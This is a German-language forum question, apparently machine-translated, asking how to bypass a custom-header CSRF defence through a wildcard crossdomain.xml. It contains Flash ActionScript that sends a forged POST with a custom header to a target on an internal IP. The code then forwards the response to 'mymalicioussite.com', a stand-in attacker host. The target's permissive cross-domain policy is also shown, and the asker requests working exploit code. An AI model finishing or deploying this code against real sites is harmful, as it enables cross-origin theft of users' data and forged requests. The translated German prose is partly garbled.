Ich habe ein Ziel, das schwache CrossDomain.xml hat, aber es verhindert CSRF Angriff auf einen der benutzerdefinierten HTTP-Header. Ich habe folgendes ActionScript auf einigen Webseiten gefunden, das funktioniert einwandfrei, außer dass es nicht den Header setzt.CSRF Mit ActionScript über schwache CrossDomain.xml umgehen
Diese Action sendet eine POST-Anforderung an 'Target.htm' und ich brauche es jeden benutzerdefinierten Header zu setzen, sagen Test Rubrik:
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;
public class FlashTest extends Sprite {
public function FlashTest() {
// write as3 code here..
//Target URL
var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
var readFrom:String = "http://192.168.100.4/Target.htm";
var readRequest:URLRequest = new URLRequest(readFrom);
readRequest.data = "ThisDoesNotMatter"
readRequest.method = URLRequestMethod.POST
readRequest.requestHeaders.push(header);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
{
getLoader.load(readRequest);
}
catch(error:Error)
{
}
}
private function eventHandler(event:Event):void
{
var sendTO:String = "http://mymalicioussite.com";
var sendRequest:URLRequest = new URLRequest(sendTO);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
{
sendLoader.load(sendRequest);
}
catch(error:Error)
{
}
}
}
}
crossdomain.xml auf dem Ziel:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>
Jede Hilfe wäre willkommen. Ein Arbeitscode mit GET-Anforderung anstelle von POST würde auch funktionieren, da das Ziel sowohl GET- als auch POST-Anforderungen akzeptiert. Soweit ich weiß, ist das Setzen von benutzerdefinierten Headern nur mit einer POST-Anfrage erlaubt, aber eine GET-Anfrage mit irgendeinem Standard-HTTP-Header würde zumindest für mich funktionieren.